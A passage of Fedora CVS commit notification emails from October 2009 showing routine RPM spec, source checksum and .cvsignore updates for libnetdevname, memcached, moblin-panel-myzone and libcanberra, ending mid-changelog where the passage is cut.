In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13670/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libnetdevname-fix_exit_in_library.patch 
	libnetdevname.spec 
Log Message:
libnetdevname in F-12



--- NEW FILE import.log ---
libnetdevname-0_0_3-3:F-12:libnetdevname-0.0.3-3.src.rpm:1255545066

libnetdevname-fix_exit_in_library.patch:
 netdevname.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libnetdevname-fix_exit_in_library.patch ---
diff --git a/netdevname.c b/netdevname.c
index 864f324..acf3911 100644
--- a/netdevname.c
+++ b/netdevname.c
@@ -100,6 +100,6 @@ void show_pathname_usage(void) {
 	"\t/dev/net/ethN\n"
 	"\t/dev/net/by-chassis-label/Embedded_NIC_N\n"
 	"\t/dev/net/by-mac/xx:xx:xx:xx:xx:xx\n\n");
-	exit(1);
+	return 0;
 }
 	


--- NEW FILE libnetdevname.spec ---
%define release_name libnetdevname

# opensuse naming comvintion: http://en.opensuse.org/Shared_Library_Packaging_Policy 
%if 0%{?suse_version} >= 1100
%define release_name libnetdevname0
%endif

Name: %{release_name}
Version: 0.0.3
Release: 3
Summary: A library that provides network name mappings
License: MIT
Group: System Environment/Libraries
Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Source: http://linux.dell.com/netdevname/download/netdevname/libnetdevname-%{version}/libnetdevname-%{version}.tar.bz2
patch0:	%{name}-fix_exit_in_library.patch
URL: http://linux.dell.com/netdevname
#Provides: %{release_name} = %{version}-%{release}
Obsoletes: %{release_name} < %{version}-%{release}
#BuildRequires: libgcc
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description
This library provides interface for mapping network path names
to kernel names

%package devel
Summary: Development environment for libnetdevname
Group: Development/Libraries
Requires: %{release_name} = %version-%release glibc-devel
#Provides: %{release_name}-devel = %{version}-%{release}
Obsoletes: %{release_name}-devel < %{version}-%{release}
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description devel
This package contains development files required to build
libnetdevname-based software.

%prep
%setup -q -n libnetdevname-%{version}
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
mkdir %{buildroot}
make install DESTDIR="%{buildroot}" INSTALL="%{__install} "

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%_libdir/*.so.*
%doc README LICENSE ChangeLog NEWS

%files devel
%defattr(-,root,root,-)
%_libdir/*.so
%_includedir/*
%doc README LICENSE ChangeLog NEWS

%changelog

* Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
- Fixed all the errors/warnings thrown out by rpmlint

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-2
-More changes to the netdev_pathname_to_name function
-Added show_pathname_usage function

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-1
-API changes
-Handling /dev/net/tun

* Thu Sep 17 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-3
-The absence of the map file broke the build. Adding it.

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-2
-fix argv overflow when over-writing with the mapped interface name

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-1
-Adding README content

* Mon Sep 7 2009 Narendra K <narendra_k at dell.com> 0.0.2-1
- Initial RPM Release







Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:09:46 -0000	1.1
+++ .cvsignore	14 Oct 2009 18:30:41 -0000	1.2
@@ -0,0 +1 @@
+libnetdevname-0.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:09:46 -0000	1.1
+++ sources	14 Oct 2009 18:30:41 -0000	1.2
@@ -0,0 +1 @@
+15c0b2d86c32690aedd197c876404549  libnetdevname-0.0.3.tar.bz2



From praveenp at fedoraproject.org  Wed Oct 14 18:33:51 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:33:51 +0000 (UTC)
Subject: rpms/libnetdevname/EL-4 libnetdevname.spec,1.1,1.2
Message-ID: <20091014183351.37DFA11C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14270

Modified Files:
	libnetdevname.spec 
Log Message:
Bumped the release



Index: libnetdevname.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-4/libnetdevname.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libnetdevname.spec	14 Oct 2009 18:24:37 -0000	1.1
+++ libnetdevname.spec	14 Oct 2009 18:33:50 -0000	1.2
@@ -7,7 +7,7 @@
 
 Name: %{release_name}
 Version: 0.0.3
-Release: 3
+Release: 4
 Summary: A library that provides network name mappings
 License: MIT
 Group: System Environment/Libraries
@@ -73,7 +73,8 @@ rm -rf %{buildroot}
 %doc README LICENSE ChangeLog NEWS
 
 %changelog
-
+* Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
+- Bumped up the release number to make a new cvs tag
 * Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
 - Fixed all the errors/warnings thrown out by rpmlint
 



From plindner at fedoraproject.org  Wed Oct 14 18:34:07 2009
From: plindner at fedoraproject.org (Paul Lindner)
Date: Wed, 14 Oct 2009 18:34:07 +0000 (UTC)
Subject: rpms/memcached/F-12 memcached.spec,1.17,1.18 sources,1.8,1.9
Message-ID: <20091014183407.937DA11C00E5@cvs1.fedora.phx.redhat.com>

Author: plindner

Update of /cvs/pkgs/rpms/memcached/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14417

Modified Files:
	memcached.spec sources 
Log Message:
upgrade to memcached-1.4.2


Index: memcached.spec
===================================================================
RCS file: /cvs/pkgs/rpms/memcached/F-12/memcached.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- memcached.spec	30 Aug 2009 04:03:16 -0000	1.17
+++ memcached.spec	14 Oct 2009 18:34:06 -0000	1.18
@@ -6,7 +6,7 @@
 %define groupname  memcached
 
 Name:           memcached
-Version:        1.4.1
+Version:        1.4.2
 Release:        1%{?dist}
 Summary:        High Performance, Distributed Memory Object Cache
 
@@ -187,7 +187,7 @@ fi
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog COPYING NEWS README TODO doc/CONTRIBUTORS doc/*.txt
+%doc AUTHORS ChangeLog COPYING NEWS README doc/CONTRIBUTORS doc/*.txt
 %config(noreplace) %{_sysconfdir}/sysconfig/%{name}
 
 %dir %attr(755,%{username},%{groupname}) %{_localstatedir}/run/memcached
@@ -207,6 +207,10 @@ fi
 %{_includedir}/memcached/*
 
 %changelog
+* Mon Oct 12 2009 Paul Lindner <lindner at inuus.com> - 1.4.2-1
+- Upgrade to memcached-1.4.2
+- Addresses CVE-2009-2415
+
 * Sat Aug 29 2009 Paul Lindner <lindner at inuus.com> - 1.4.1-1
 - Upgrade to 1.4.1 
 - http://code.google.com/p/memcached/wiki/ReleaseNotes141


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/memcached/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	30 Aug 2009 04:03:16 -0000	1.8
+++ sources	14 Oct 2009 18:34:06 -0000	1.9
@@ -1 +1 @@
-fb1b7e9fcf47b95c5ad3bbeb76342088  memcached-1.4.1.tar.gz
+31caa3e74f2714ba49475b1df44bc315  memcached-1.4.2.tar.gz



From plindner at fedoraproject.org  Wed Oct 14 18:34:34 2009
From: plindner at fedoraproject.org (Paul Lindner)
Date: Wed, 14 Oct 2009 18:34:34 +0000 (UTC)
Subject: rpms/memcached/F-12 .cvsignore,1.8,1.9
Message-ID: <20091014183434.A753511C00E5@cvs1.fedora.phx.redhat.com>

Author: plindner

Update of /cvs/pkgs/rpms/memcached/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14886

Modified Files:
	.cvsignore 
Log Message:
upgrade to memcached-1.4.2 -- .cvsignore


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/memcached/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	30 Aug 2009 04:03:16 -0000	1.8
+++ .cvsignore	14 Oct 2009 18:34:34 -0000	1.9
@@ -1 +1 @@
-memcached-1.4.1.tar.gz
+memcached-1.4.2.tar.gz



From praveenp at fedoraproject.org  Wed Oct 14 18:43:28 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:43:28 +0000 (UTC)
Subject: rpms/libnetdevname/devel libnetdevname.spec,1.1,1.2
Message-ID: <20091014184328.41BE511C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17111

Modified Files:
	libnetdevname.spec 
Log Message:
Added %{?dist} in release



Index: libnetdevname.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/devel/libnetdevname.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libnetdevname.spec	14 Oct 2009 18:22:48 -0000	1.1
+++ libnetdevname.spec	14 Oct 2009 18:43:28 -0000	1.2
@@ -7,7 +7,7 @@
 
 Name: %{release_name}
 Version: 0.0.3
-Release: 3
+Release: 4%{?dist}
 Summary: A library that provides network name mappings
 License: MIT
 Group: System Environment/Libraries
@@ -73,6 +73,8 @@ rm -rf %{buildroot}
 %doc README LICENSE ChangeLog NEWS
 
 %changelog
+* Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
+- Added %{?dist} in release to avoid generic tagging during cvs commits.
 
 * Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
 - Fixed all the errors/warnings thrown out by rpmlint



From praveenp at fedoraproject.org  Wed Oct 14 18:45:32 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:45:32 +0000 (UTC)
Subject: rpms/libnetdevname/EL-4 libnetdevname.spec,1.2,1.3
Message-ID: <20091014184532.6446611C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17745

Modified Files:
	libnetdevname.spec 
Log Message:
Added %{?dist} in release



Index: libnetdevname.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-4/libnetdevname.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- libnetdevname.spec	14 Oct 2009 18:33:50 -0000	1.2
+++ libnetdevname.spec	14 Oct 2009 18:45:32 -0000	1.3
@@ -7,7 +7,7 @@
 
 Name: %{release_name}
 Version: 0.0.3
-Release: 4
+Release: 4%{?dist}
 Summary: A library that provides network name mappings
 License: MIT
 Group: System Environment/Libraries
@@ -74,7 +74,8 @@ rm -rf %{buildroot}
 
 %changelog
 * Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
-- Bumped up the release number to make a new cvs tag
+- Added %{?dist} in release to avoid generic tagging during cvs commits.
+
 * Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
 - Fixed all the errors/warnings thrown out by rpmlint
 



From praveenp at fedoraproject.org  Wed Oct 14 18:47:14 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:47:14 +0000 (UTC)
Subject: rpms/libnetdevname/EL-5 libnetdevname.spec,1.1,1.2
Message-ID: <20091014184714.F115B11C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18118

Modified Files:
	libnetdevname.spec 
Log Message:
Added %{?dist} in release



Index: libnetdevname.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-5/libnetdevname.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libnetdevname.spec	14 Oct 2009 18:28:43 -0000	1.1
+++ libnetdevname.spec	14 Oct 2009 18:47:14 -0000	1.2
@@ -7,7 +7,7 @@
 
 Name: %{release_name}
 Version: 0.0.3
-Release: 3
+Release: 4%{?dist}
 Summary: A library that provides network name mappings
 License: MIT
 Group: System Environment/Libraries
@@ -73,6 +73,8 @@ rm -rf %{buildroot}
 %doc README LICENSE ChangeLog NEWS
 
 %changelog
+* Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
+- Added %{?dist} in release to avoid generic tagging during cvs commits.
 
 * Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
 - Fixed all the errors/warnings thrown out by rpmlint



From praveenp at fedoraproject.org  Wed Oct 14 18:48:29 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:48:29 +0000 (UTC)
Subject: rpms/libnetdevname/F-12 libnetdevname.spec,1.1,1.2
Message-ID: <20091014184829.12CE711C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18427

Modified Files:
	libnetdevname.spec 
Log Message:
Added %{?dist} to release



Index: libnetdevname.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-12/libnetdevname.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libnetdevname.spec	14 Oct 2009 18:30:41 -0000	1.1
+++ libnetdevname.spec	14 Oct 2009 18:48:28 -0000	1.2
@@ -7,7 +7,7 @@
 
 Name: %{release_name}
 Version: 0.0.3
-Release: 3
+Release: 4%{?dist}
 Summary: A library that provides network name mappings
 License: MIT
 Group: System Environment/Libraries
@@ -73,6 +73,8 @@ rm -rf %{buildroot}
 %doc README LICENSE ChangeLog NEWS
 
 %changelog
+* Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
+- Added %{?dist} in release to avoid generic tagging during cvs commits.
 
 * Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
 - Fixed all the errors/warnings thrown out by rpmlint



From praveenp at fedoraproject.org  Wed Oct 14 18:51:57 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:51:57 +0000 (UTC)
Subject: rpms/libnetdevname/F-11 import.log, NONE,
	1.1 libnetdevname-fix_exit_in_library.patch, NONE,
	1.1 libnetdevname.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091014185157.9A96511C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19333/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libnetdevname-fix_exit_in_library.patch 
	libnetdevname.spec 
Log Message:
libnetdevname in F-11



--- NEW FILE import.log ---
libnetdevname-0_0_3-4_fc13:F-11:libnetdevname-0.0.3-4.fc13.src.rpm:1255546334

libnetdevname-fix_exit_in_library.patch:
 netdevname.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libnetdevname-fix_exit_in_library.patch ---
diff --git a/netdevname.c b/netdevname.c
index 864f324..acf3911 100644
--- a/netdevname.c
+++ b/netdevname.c
@@ -100,6 +100,6 @@ void show_pathname_usage(void) {
 	"\t/dev/net/ethN\n"
 	"\t/dev/net/by-chassis-label/Embedded_NIC_N\n"
 	"\t/dev/net/by-mac/xx:xx:xx:xx:xx:xx\n\n");
-	exit(1);
+	return 0;
 }
 	


--- NEW FILE libnetdevname.spec ---
%define release_name libnetdevname

# opensuse naming comvintion: http://en.opensuse.org/Shared_Library_Packaging_Policy 
%if 0%{?suse_version} >= 1100
%define release_name libnetdevname0
%endif

Name: %{release_name}
Version: 0.0.3
Release: 4%{?dist}
Summary: A library that provides network name mappings
License: MIT
Group: System Environment/Libraries
Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Source: http://linux.dell.com/netdevname/download/netdevname/libnetdevname-%{version}/libnetdevname-%{version}.tar.bz2
patch0:	%{name}-fix_exit_in_library.patch
URL: http://linux.dell.com/netdevname
#Provides: %{release_name} = %{version}-%{release}
Obsoletes: %{release_name} < %{version}-%{release}
#BuildRequires: libgcc
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description
This library provides interface for mapping network path names
to kernel names

%package devel
Summary: Development environment for libnetdevname
Group: Development/Libraries
Requires: %{release_name} = %version-%release glibc-devel
#Provides: %{release_name}-devel = %{version}-%{release}
Obsoletes: %{release_name}-devel < %{version}-%{release}
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description devel
This package contains development files required to build
libnetdevname-based software.

%prep
%setup -q -n libnetdevname-%{version}
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
mkdir %{buildroot}
make install DESTDIR="%{buildroot}" INSTALL="%{__install} "

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%_libdir/*.so.*
%doc README LICENSE ChangeLog NEWS

%files devel
%defattr(-,root,root,-)
%_libdir/*.so
%_includedir/*
%doc README LICENSE ChangeLog NEWS

%changelog
* Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
- Added %{?dist} in release to avoid generic tagging during cvs commits.

* Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
- Fixed all the errors/warnings thrown out by rpmlint

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-2
-More changes to the netdev_pathname_to_name function
-Added show_pathname_usage function

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-1
-API changes
-Handling /dev/net/tun

* Thu Sep 17 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-3
-The absence of the map file broke the build. Adding it.

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-2
-fix argv overflow when over-writing with the mapped interface name

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-1
-Adding README content

* Mon Sep 7 2009 Narendra K <narendra_k at dell.com> 0.0.2-1
- Initial RPM Release







Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:09:46 -0000	1.1
+++ .cvsignore	14 Oct 2009 18:51:57 -0000	1.2
@@ -0,0 +1 @@
+libnetdevname-0.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:09:46 -0000	1.1
+++ sources	14 Oct 2009 18:51:57 -0000	1.2
@@ -0,0 +1 @@
+15c0b2d86c32690aedd197c876404549  libnetdevname-0.0.3.tar.bz2



From pbrobinson at fedoraproject.org  Wed Oct 14 19:04:00 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 14 Oct 2009 19:04:00 +0000 (UTC)
Subject: rpms/moblin-panel-myzone/devel .cvsignore, 1.7,
	1.8 moblin-panel-myzone.spec, 1.7, 1.8 sources, 1.7, 1.8
Message-ID: <20091014190400.9808F11C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-myzone/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23509

Modified Files:
	.cvsignore moblin-panel-myzone.spec sources 
Log Message:
- New upstream 0.0.10 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Oct 2009 19:00:15 -0000	1.7
+++ .cvsignore	14 Oct 2009 19:04:00 -0000	1.8
@@ -1 +1 @@
-moblin-panel-myzone-0.0.9.tar.bz2
+moblin-panel-myzone-0.0.10.tar.bz2


Index: moblin-panel-myzone.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/moblin-panel-myzone.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- moblin-panel-myzone.spec	10 Oct 2009 19:00:16 -0000	1.7
+++ moblin-panel-myzone.spec	14 Oct 2009 19:04:00 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           moblin-panel-myzone
-Version:        0.0.9
+Version:        0.0.10
 Release:        1%{?dist}
 Summary:        Moblin Panel for MyZone
 
@@ -78,6 +78,9 @@ rm -rf %{buildroot}
 %{_libdir}/libpenge.so
 
 %changelog
+* Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.10-1
+- New upstream 0.0.10 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.9-1
 - New upstream 0.0.9 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-myzone/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Oct 2009 19:00:16 -0000	1.7
+++ sources	14 Oct 2009 19:04:00 -0000	1.8
@@ -1 +1 @@
-f42e755d7a4eb6499db13ed4268f3dd4  moblin-panel-myzone-0.0.9.tar.bz2
+710b416593d6ab75dfd1f049ecbef35a  moblin-panel-myzone-0.0.10.tar.bz2



From praveenp at fedoraproject.org  Wed Oct 14 19:04:14 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 19:04:14 +0000 (UTC)
Subject: rpms/libnetdevname/F-10 import.log, NONE,
	1.1 libnetdevname-fix_exit_in_library.patch, NONE,
	1.1 libnetdevname.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091014190414.89C6A11C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23560/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libnetdevname-fix_exit_in_library.patch 
	libnetdevname.spec 
Log Message:
libdevnetname in F-10



--- NEW FILE import.log ---
libnetdevname-0_0_3-4_fc13:F-10:libnetdevname-0.0.3-4.fc13.src.rpm:1255547080

libnetdevname-fix_exit_in_library.patch:
 netdevname.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libnetdevname-fix_exit_in_library.patch ---
diff --git a/netdevname.c b/netdevname.c
index 864f324..acf3911 100644
--- a/netdevname.c
+++ b/netdevname.c
@@ -100,6 +100,6 @@ void show_pathname_usage(void) {
 	"\t/dev/net/ethN\n"
 	"\t/dev/net/by-chassis-label/Embedded_NIC_N\n"
 	"\t/dev/net/by-mac/xx:xx:xx:xx:xx:xx\n\n");
-	exit(1);
+	return 0;
 }
 	


--- NEW FILE libnetdevname.spec ---
%define release_name libnetdevname

# opensuse naming comvintion: http://en.opensuse.org/Shared_Library_Packaging_Policy 
%if 0%{?suse_version} >= 1100
%define release_name libnetdevname0
%endif

Name: %{release_name}
Version: 0.0.3
Release: 4%{?dist}
Summary: A library that provides network name mappings
License: MIT
Group: System Environment/Libraries
Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Source: http://linux.dell.com/netdevname/download/netdevname/libnetdevname-%{version}/libnetdevname-%{version}.tar.bz2
patch0:	%{name}-fix_exit_in_library.patch
URL: http://linux.dell.com/netdevname
#Provides: %{release_name} = %{version}-%{release}
Obsoletes: %{release_name} < %{version}-%{release}
#BuildRequires: libgcc
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description
This library provides interface for mapping network path names
to kernel names

%package devel
Summary: Development environment for libnetdevname
Group: Development/Libraries
Requires: %{release_name} = %version-%release glibc-devel
#Provides: %{release_name}-devel = %{version}-%{release}
Obsoletes: %{release_name}-devel < %{version}-%{release}
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description devel
This package contains development files required to build
libnetdevname-based software.

%prep
%setup -q -n libnetdevname-%{version}
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
mkdir %{buildroot}
make install DESTDIR="%{buildroot}" INSTALL="%{__install} "

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%_libdir/*.so.*
%doc README LICENSE ChangeLog NEWS

%files devel
%defattr(-,root,root,-)
%_libdir/*.so
%_includedir/*
%doc README LICENSE ChangeLog NEWS

%changelog
* Wed Oct 14 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 0.0.3-4
- Added %{?dist} in release to avoid generic tagging during cvs commits.

* Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
- Fixed all the errors/warnings thrown out by rpmlint

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-2
-More changes to the netdev_pathname_to_name function
-Added show_pathname_usage function

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-1
-API changes
-Handling /dev/net/tun

* Thu Sep 17 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-3
-The absence of the map file broke the build. Adding it.

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-2
-fix argv overflow when over-writing with the mapped interface name

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-1
-Adding README content

* Mon Sep 7 2009 Narendra K <narendra_k at dell.com> 0.0.2-1
- Initial RPM Release







Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:09:46 -0000	1.1
+++ .cvsignore	14 Oct 2009 19:04:14 -0000	1.2
@@ -0,0 +1 @@
+libnetdevname-0.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:09:46 -0000	1.1
+++ sources	14 Oct 2009 19:04:14 -0000	1.2
@@ -0,0 +1 @@
+15c0b2d86c32690aedd197c876404549  libnetdevname-0.0.3.tar.bz2



From lennart at fedoraproject.org  Wed Oct 14 19:11:56 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 19:11:56 +0000 (UTC)
Subject: rpms/libcanberra/devel .cvsignore, 1.17, 1.18 libcanberra.spec, 1.37,
	1.38 sources, 1.19, 1.20
Message-ID: <20091014191156.C738511C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26302

Modified Files:
	.cvsignore libcanberra.spec sources 
Log Message:
New version 0.19


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	20 Sep 2009 18:07:11 -0000	1.17
+++ .cvsignore	14 Oct 2009 19:11:56 -0000	1.18
@@ -1 +1 @@
-libcanberra-0.18.tar.gz
+libcanberra-0.19.tar.gz


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/libcanberra.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- libcanberra.spec	25 Sep 2009 15:37:01 -0000	1.37
+++ libcanberra.spec	14 Oct 2009 19:11:56 -0000	1.38
@@ -1,6 +1,6 @@
 Name: libcanberra
-Version: 0.18
-Release: 2%{?dist}
+Version: 0.19
+Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
 Source0: http://0pointer.de/lennart/projects/libcanberra/libcanberra-%{version}.tar.gz
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
